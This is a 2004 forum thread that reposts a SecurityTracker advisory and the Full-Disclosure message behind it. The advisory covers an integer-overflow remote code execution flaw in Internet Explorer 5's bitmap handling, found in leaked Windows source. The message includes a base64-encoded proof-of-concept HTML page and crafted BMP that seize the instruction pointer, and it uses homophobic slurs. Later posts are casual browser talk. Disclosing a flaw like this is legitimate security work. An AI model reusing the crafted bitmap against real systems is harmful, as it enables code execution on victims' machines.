Windows IE5 vulnerable to BMP image security flaw.

http://www.securitytracker.com/alerts/2004/Feb/1009067.html ^ | Feb 15 2004 | Security Tracker

[Bobalu]

Microsoft Internet Explorer Integer Overflow in Processing Bitmap Files Lets Remote Users Execute Arbitrary Code

SecurityTracker Alert ID: 1009067 CVE Reference: GENERIC-MAP-NOMATCH (Links to External Site) Date: Feb 15 2004

Impact: Execution of arbitrary code via network, User access via network

Exploit Included: Yes

Version(s): 5 (6 is reportedly not vulnerable)

Description: A vulnerability was reported in Microsoft Internet Explorer (IE) version 5. A remote user can execute arbitrary code on the target system.

It is reported that a remote user can create a specially crafted bitmap file that, when loaded by IE, will trigger an integer overflow and execute arbitrary code.

The author states that this flaw was found by reviewing the recently leaked Microsoft Windows source code. The flaw reportedly resides in 'win2k/private/inet/mshtml/src/site/download/imgbmp.cxx'.

The report indicates that IE 5 is affected but that IE 6 is not affected.

A demonstration exploit is provided in the Source Message [it is Base64 encoded].

Impact: A remote user can cause arbitrary code to be executed on the target user's computer when the target user's browser loads a specially crafted bitmap file. The code will run with the privileges of the target user.

Solution: No solution was available at the time of this entry.

Vendor URL: www.microsoft.com/technet/security/ (Links to External Site)

Cause: Boundary error

Underlying OS: Windows (Any)

Reported By:

Message History: None.

--------------------------------------------------------------------------------

Source Message Contents

--------------------------------------------------------------------------------

Date: Sat, 14 Feb 2004 22:08:59 -0800 From: Subject: [Full-Disclosure] GAYER THAN AIDS ADVISORY #01: IE 5 remote code execution

--Hush_boundary-402f0cfb09a9f Content-type: text/plain

I downloaded the Microsoft source code. Easy enough. It's a lot bigger than Linux, but there were a lot of people mirroring it and so it didn't take long.

Anyway, I took a look, and decided that Microsoft is GAYER THAN AIDS. For example, in win2k/private/inet/mshtml/src/site/download/imgbmp.cxx:

// Before we read the bits, seek to the correct location in the file while (_bmfh.bfOffBits > (unsigned)cbRead) { BYTE abDummy[1024]; int cbSkip;

cbSkip = _bmfh.bfOffBits - cbRead;

if (cbSkip > 1024) cbSkip = 1024;

if (!Read(abDummy, cbSkip)) goto Cleanup;

cbRead += cbSkip; }

.. Rrrrriiiiggghhhttt. Way to go, using a signed integer for an offset. Now all we have to do is create a BMP with bfOffBits > 2^31,

and we're in. cbSkip goes negative and the Read call clobbers the stack with our data.

See attached for proof of concept. index.html has [img src=1.bmp] where 1.bmp contains bfOffBits=0xEEEEEEEE plus 4k of 0x44332211. Bring it up in IE5 (tested successfully on Win98) and get EIP=0x44332211.

IE6 is not vulnerable, so I guess I'll get back to work. My Warhol worm will have to wait a bit...

.gta PROPS TO the Fort and HAVE IT BE YOU.

--Hush_boundary-402f0cfb09a9f Content-type: text/html; name="index.html" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="index.html"

PGh0bWw+PGhlYWQ+PHRpdGxlPmJvb208L3RpdGxlPjwvaGVhZD4KPGJvZHk+CjxoMT5IZWxsbzwv aDE+CjxpbWcgc3JjPTEuYm1wIGJvcmRlcj0xPgo8L2JvZHk+CjwvaHRtbD4=

--Hush_boundary-402f0cfb09a9f Content-type: application/octet-stream; name="1.bmp" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="1.bmp"

Qk0wWwAAAAAAAO7u7u4oAAAA4QEAAC4AAAABAAgAAAAAAAAAAAASCwAAEgsAAAAAAAAAAAAANgYV AEwYHQBhICUAhDovAJA/MABuMCMAk0QuAJdHLwD05eAAZDEeAJdKKgCZTCwAnU0uAO7i3QCaTCkA m00rAJJJKgBaKxMAkEgjAJRLJgCdTykAl0wnAJlOKQCwZkIAez4dAJ1QJgCbTyUAl04kAJ9RKAC2 cEsAvYJjAE8eAACeUiIAmVEjAKBUJgByPBwAnVMnAJ9WKgCERyMAo1ouAKZgNgCJVDQAf1tEAIxr VwDe1M4AWCQAAKNYIwCXUSEAnlQkAHdNMACpbkUAn4V0ALaaiABnLQAAYCkAAI5JFQCQTBgAaDcS AJNOHACYViYAnV0vAJRnRACteFEAw6+gAPXx7gByNAAAbTEAAIZCCgCHQwsAh0QMAIhFDgCKRxEA jEkTAKZcHgC3k3UA1MW5AH48AAB9PAAAfDsAAHs6AAB6OQAAeTkAAHc3AAB1NgAAfz0BAH48AQB/ PgIAgD4DAIA/BACBQAUAgUEGAIJBBwCCQggAg0QKAIRECwCERQwAhUYNAIVHDgCGSBAAh0oSAIhL EwCISxQAiU0WAItPGQCLUBoAjFEcAI1THgCOVB8ArmgnAI9WIgCRWSYAk1wrAJVfLgCXYjIAmWU1 AJtnOQCdaj0An25DAKN1SgCleE4Ap3tTAKt/VwCuhF4AqmEYAHtKGAChckUArmUSALBoCACyagEA t3AKAJRhFgC4eR8AyYcnANmbRQD8+vcAu3QAALZvAADBfQAAvnkAAHNMBQC+fQ4A0pQiAOGoQQDH hQAAxYIAAMOAAACudAEAyooLAMWECwDOjwAAy4sAAMmJAADIhwAAzY8LANmfIQDRkwAAyY4AAL+G AADVmgoA0ZYLANifEQCvmGEA15wAANOYAADNlQAAwpYZAK2RRQDClAAAsYQAALCPJACLbAAAnn4E AMikAACzlwYAc2UAALqtKgDj4LsAnZgdALq3PgB+fQAAo6EtALy7TwBpaWgA///+AKywBACLlwAA srpNAMLIeACksh0AqLU0AHmBPACquUkAsb5hAJOsAwChrlYAjZhNAImiEwCatDYAbIsAAJ24RACg uUgAcpkAAJK0JgCuxGwA/P35AHSfAAB5pgIAmLhBAKG8VAB8rwAAdqYAAHGhAAB/sQoAl7hHAHeu AAByqQAAdakAAHKmAACQtj4AkrhCAHKtAABjlgAAfrMYAIS0JgCItTIAaagAAGWeAAB1sRAAirY7 AGutAACYvmAAe7QvAIy5TwBdqQAAgbdAAGuzHQBOrgEAdbdHAHq5VQCEwGkARbMnAD6yIQBjulMA RblOAGLBcQCL06UAQsN1AP///wBKSkoANTU1ACYmJgAXFxcADQ0NAAYGBgACAgIAAAAAABEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNE ESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QR IjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEi M0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIzRBEiM0QRIjNEESIz RBEiM0Q=

--Hush_boundary-402f0cfb09a9f--

_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html

[Cboldt]

These days saying something is 'so gay' means it's REALLY lame.
We're taking back the language one word at a time...

I know that use of the term, and believe me, I encourage taking back the language ... I actually use the word "gay" to refer to a state of happiness.

But I think the person who was expressing an opinion re: Microsoft was using "gay" as the PC term for homosexuals. At least that's the way I took it. "Lamer than Aids" doesn't make much sense .. to me anyway.

[null and void]

Correct! I didn't mean to say that lame was the meaning in this context, just to FYI that gay is becoming a pejorative term in it's own (nonsexual bent) right.

Gayer than AIDS was a good turn of phrase, though...

[justlurking]

Don't you have anything better to do than harass anyone that happens to post something critical of your benefactor?

Ooooohhh. Snappy comeback. Will you be posting "sticks and stones", or "rubber and glue" next?

I don't have a benefactor -- at least not one that sells OS, office, and Internet software. But, I'm also not conducting an endless astroturf campaign on Free Republic.

[Bush2000]

I don't have a benefactor -- at least not one that sells OS, office, and Internet software.

Since you brought it up, who is your benefactor?

[Capt. Tom]

I am not that computer knowledgeable, but I tried to find out what version of IE that I had.

I couldn't find out, only that I got to a place where it sid IE could not be changed because it was part of the Windows XP installation. -Tom

[steve86]

These are the things I like best in Opera (no particular order):

Tabbed browsing.
Mouse movements.
Selective pop-up blocking.
So easy to customize panels (or find someone who has already done it). I use the "minimum panel" setup which maximizes screen space yet still gives me the shrinkable bookmark panel on the left).
Ability to reload saved windows on startup (I load same 8 starting pages as tabs most every time).
Ability to set automatic refresh timer (like for a quote page -- refresh once a minute or whatever).
Java 1.4.2-03 works very well with Opera 7.50B1.

I know that Fire-whatever has the tabs, blocking, and the mouse movement extensions -- I use it occasionally but the response to the mouse movements is slower and annoying to me. I was having Java problems but those may be fixed in the latest version. Firebird does give me better printing than Opera and I often switch to it for critical hardcopy.

No idea if IE implements any of these features. I have read of people adding custom toolbars and stuff.

[justlurking]

Since you brought it up, who is your benefactor?

Directly: my employer, who distributes software for analyzing the performance of computer systems. However, I don't actually do much software development any longer, and spend most of my time either teaching clients how to use it or actually doing the analysis for them.

Indirectly: my clients, which include banks, insurance companies, brokerage firms, and airlines.

We make it a point to remain independent of vendors, because we don't want a conflict of interest with respect to hardware vendors. We do recommend some software (in addition to ours), but that's for performance analysis, not applications.

With respect to mainstream processor architectures and operating systems, we are neutral -- we support all of them. We do learn a lot about what works and what doesn't work in these environments (because our clients tell us), but we don't make those kind of recommendations.

The most specific recommendation I have made is to "add a device to your network that performs this function. We predict it will have this effect." However, I didn't recommend a vendor (there are several, or they could build their own with a Linux or BSD system). As it turned out, they were already considering it and wanted to see if we came up with the same conclusion on our own.

Your turn.

[justlurking]

I couldn't find out, only that I got to a place where it sid IE could not be changed because it was part of the Windows XP installation.

In Internet Explorer, click on the "Help" menu, then select "About Internet Explorer". That will tell you the version that is installed.

If you have Windows XP, then you most likely have Internet Explore version 6.

[Bush2000]

Your turn.

I work as a consultant on a variety of projects. My biggest client is a mortgage banking company across the country. Lots of SQL, CGI, C/C++. Another big client is an ISP. I like the variety.

[justlurking]

I like the variety.

That's one reasons I like it, too. Although I repeat the same or similar process, every environment is different -- different application, different hardware, different people.

I never have time to get bored, as projects end quickly and I move on to the next client.

[Capt. Tom]

Thanks. It is version 6.

Silly me thinking I could just click on properties and find that out

Or go into my program list, find IE and click properties for the answer.- tom

[hsmomx3]

You can tell I am not "tech savy" when it comes to browsers. Is Mozilla and Netscape more secure than MS IE browsers?

[justlurking]

You can tell I am not "tech savy" when it comes to browsers. Is Mozilla and Netscape more secure than MS IE browsers?

I don't think there is an authorative answer, yet.

Personally, I prefer Mozilla Firefox, although it is beta-code and may be more vulnerable to exploitation than released products. But, I like the feature set and I try to stay on top of the security issues so that I'm aware of an exploit before it is widespread.

[arasina]

I use Mozilla 5 as well. I can't get the Java plugin to work though. Any suggestions? :o)